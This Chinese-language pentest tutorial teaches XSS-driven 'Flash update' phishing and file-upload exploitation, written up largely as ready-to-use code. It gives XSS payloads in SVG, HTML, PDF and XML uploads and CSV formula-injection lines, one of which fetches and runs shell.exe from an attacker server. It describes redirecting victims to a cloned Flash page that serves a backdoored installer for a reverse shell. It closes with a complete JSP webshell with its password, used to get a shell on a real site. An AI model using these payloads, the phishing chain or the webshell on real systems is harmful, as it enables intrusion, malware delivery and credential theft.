XSS之Flash弹窗钓鱼

0x1 前言

哈喽,师傅们好!

这次打算给师弟们分享的是XSS之Flash弹窗钓鱼和文件上传getshell各种姿势的内容,然后先是给小白师傅们简单介绍下XSS漏洞和文件上传漏洞。然后后面给师傅们简单演示了XSS之Flash弹窗钓鱼,然后后面很详细的介绍了文件上传和XSS漏洞的组合拳的好几种方式,后面也是通过对一个站点的测试,给师傅们演示了一波。后面给师傅们整理了下pdf木马制作的过程以及最后面分享下我一次在测文件上传最后也是getshell了。

0x2 漏洞简介

文件上传原理

这里利用form表单标签和类型为file的Input标签来完成上传,要将表单数据编码格式置为 multipart/form-data 类型,这个编码类型会对文件内容在上传时进行处理,以便服务端处理程序解析文件类型与内容,完成上传操作。

复制代码
<form method="POST" enctype="multipart/form-data">
  <input type="file" name="file" value="请选择文件"><br />
  <input type="submit">
</form>

XSS原理

XSS(跨站脚本攻击)是一种常见的网络安全漏洞,攻击者通常会在网页中插入恶意的 JavaScript 代码。由于服务器对输入数据的过滤和验证不严格,这些恶意的 JavaScript 代码会被当作响应的一部分返回给客户端。当浏览器解析来自服务器的响应时,它会执行这些恶意的 JavaScript 代码,从而导致攻击者能够执行恶意操作。

0x3 浅谈上传XSS的各种类型姿势

允许上传HTML或SVG

允许上传html或者svg都可以能导致xss,也能导致任意URL跳转,甚至还能导致SSRF(很难利用),因为核心还是js代码可控;其中URL重定向漏洞可以参考之前我在先知写的文章:https://xz.aliyun.com/t/15069

html造成XSS就不多说了,懂得都懂;

主要说说svg文件如何造成xss。

检查思路:

  1. 创建一个恶意的svg文件,输入如下内容:

    <?xml version="1.0" encoding="UTF-8"?> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <script type="application/javascript"> alert('XSS Attack!'); </script> <polygon points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> </svg>
  1. 上传到文件中,并访问

可以看到已经成功弹窗出来了XSS漏洞

**拓展:如果目标存在导出功能,如给svg导出为pdf这种功能,那么可能存在SSRF **

可尝试使用其他协议更直观的查看,如file://

允许上传PDF文件

可能存在PDF XSS和任意URL跳转,但是由于属于浏览器层面的漏洞,所以厂商大概率不认可。

可以直接使用工具生成:https://www.xunjiepdf.com/editor

也可以按照网上的操作,用迅捷PDF编辑器去操作,效果都一样

因为pdf一般是后端的组件,有的开发可能配置成wkhtmltopdf /tmp/html123.htm /uploads/pdf.pdf ,那就可直接利用file协议进行利用

如果网站本身存在预览JS的地方,可以试试通过CVE-2024-4367来实现PDF XSS 获取Cookie、账户接管等。

允许上传CSV文件

如果允许上传CSV文件,且上传的CSV文件的内容未经过处理过滤直接保存,那么可以尝试上传具有恶意命令执行payload的CSV文件,当其他用户下载该CSV文件时,可能会导致命令执行。

CSV文件的Payload如下:

复制代码
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

检查思路:

  1. 上传恶意的CSV文件

  2. 下载恶意的CSV文件

  3. 观察下载后的CSV文件是否对等号=等特殊符号做了处理,payloads会否会成功执行,如果能则说明存在问题

0x4 XSS之Flash弹窗钓鱼

基础环境准备

  • Flash网站克隆源码:GitHub - hackxc/xss_flash: Xss之Flash钓鱼
  • 生成后门并捆绑flash的安装程序

  • VPS服务器,搭建好flash网站,下载地址要修改为构造好的后门文件。

  • 有XSS漏洞的网站:GitHub - r00tSe7en/Flash-Pop: Flash钓鱼弹窗优化版

具体钓鱼流程

  1. 找到可以插入一段JS代码的网站,如:存在存储xss漏洞。插入触发flash版本过低弹窗的JS代码:

    <script src='本地用来弹flash版本过低的地址'></script>
  1. 目标点击确定后,跳转到伪造flash界面的VPS服务器

  2. 目标靶机点击下载并安装,触发后门反弹shell

修改version.js中弹窗的指向伪造Flash网站地址

复制代码
window.alert = function(name){
var iframe = document. createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain,');
document. documentElement.appendChild(iframe);
window.frames [0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert( "您的FLASH版本过低,尝试升级后访问该页面! ");
window. location.href="此处是伪造Flash网站地址";

模拟存在XSS网站的VPS服务器:index.html

复制代码
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Flash Test...</title>  
        <script src='此处存在XSS网站的VPS服务器地址'></script>
    </head>
    <body>
    <h1>Flash Test...</h1>
    </body>
</html>

执行Flash钓鱼成功后,就会跳转到这个官方页面,然后需要你下载这个Flash软件,然后下载执行的exe,那么利用比如CS监听就可以上线成功了

0x5 组合拳实战测试

html、svg文件上传打XSS漏洞

师傅们可以看到找到下面的这个站点的这个功能存在文件上传,我先尝试一手html文件,html文件上传相对来讲常见点,并且一般要是能够上传html文件成功,基本上都可以打一个存储型XSS漏洞了

html恶意弹窗代码如下:

复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script>alert('xss')</script>
</head>
<body>
    
</body>
</html>

上传成功,可以看到我这里上传的html文件的url路径,下面尝试访问下这个路径,看看里面的html恶意弹窗代码会不会执行

可以看到我这里换个浏览器访问,也是成功执行XSS弹窗了的

上传svg恶意文件也是一样的

svg恶意弹窗代码如下:

复制代码
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
<script type="text/javascript">
alert(xss);
</script>
</svg>

也是一样换个浏览器访问,照样是可以成功执行弹窗的

制作pdf弹窗木马

pdf编辑器下载地址如下:

https://www.xunjiepdf.com/

直接打开然后新建空白页面,然后点击属性,然后点击右边的小点点

然后出现下面的选项框,点击新增js代码

写入app.alert(xss); js代码,然后保存到本地

然后也是按照上面的一样步骤,也是可以打出一个存储型XSS漏洞

上传XML文件打XSS漏洞

上传xml文件必须CORS允许所有域 CORS 跨域资源请求(允许我们网站加载其他网页代码)

  • xml它需要上传2个文件

  • 首先上传第一个xml文件(url地址我们首先拿到)

  • 然后再上传第二个xml文件

xml1: https://xxx.com/File/1/xxxxxx.xml

复制代码
<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://xxxx.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body>
<script>alert(/1/);</script>
</body></html>
</xsl:template>
</xsl:stylesheet>

然后上传xml2,代码中的href填写xml1的上传链接路径

复制代码
<?xml version="1.0" encoding="iso-8859-1"?>
<?xml-stylesheet type="text/xsl" href=""?>
<test></test>

CURL查看:curl 域名 -H "Origin: https://baidu.com" -I

文件上传------getshell

下面这个站点就是通过测试文件上传打XSS漏洞,然后进行的getshell。 经审计,发现该小程序网站是Java框架搞的,那么我们就可以尝试上传jsp后缀的webshell编写的木马来尝试下getshell了。

1、尝试上传jsp代码,发现该代码直接被执行了。真的是逆天了,师傅们!一点过滤都没有,直接解析了,那么就说明他这个网站可以执行jsp代码,那我这不就可以上传jsp木马了嘛。

复制代码
------WebKitFormBoundaryybBAbhwqIL86Jdcn
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html
alert(1)
------WebKitFormBoundaryybBAbhwqIL86Jdcn--

2、上传jsp木马,使用蚁剑连接,getshell

jsp木马如下,蚁剑连接密码:passwd

复制代码
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            returnsuper.defineClass(b, 0, b.length);
        }
    }
    publicbyte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

成功上传jsp木马,然后使用蚁剑成功连接,然后getshell了。

0x6 总结

这篇文章对于仪式内容的介绍和分享就到这里了,然后后面要是有什么问题和需要交流的地方,师傅们可以跟我讨论下,里面的一些案例包括各种的打都写的蛮详细的,对小白师傅比较友好哈! 最后,希望这篇文章对师傅们有帮助哈!!!

相关推荐
小江的记录本2 小时前
【Docker】Docker系统性知识体系与命令大全(镜像、容器、数据卷、网络、仓库)
java·网络·spring boot·spring·docker·容器·eureka
U-Mail邮件系统2 小时前
企业邮箱本地私有化部署:构建自主可控、安全高效的邮件体系
大数据·人工智能·安全
EmbeddedCore2 小时前
详解新设备接入网络:DHCP、ARP、ICMP交互流程(附原理+实操备注)
网络
admin and root2 小时前
AWS S3 对象存储攻防&云安全之OSS存储桶漏洞
微信小程序·小程序·渗透测试·云计算·aws·src·攻防演练
墨香幽梦客2 小时前
IT治理工具箱:整合低代码、API管理与安全合规的统一管控平台建设
安全·低代码
安全渗透Hacker2 小时前
Inspectio工具NLP敏感实体检测模块:原理、实践与误报处理全解析
人工智能·安全·安全性测试
飞睿科技2 小时前
两轮车后向安全难题迎突破,毫米波雷达开启智能防护新时代
安全
qq_381338502 小时前
[特殊字符] MonkeyCode AI 核心功能详解
前端
CQU_JIAKE3 小时前
4.2【A】
网络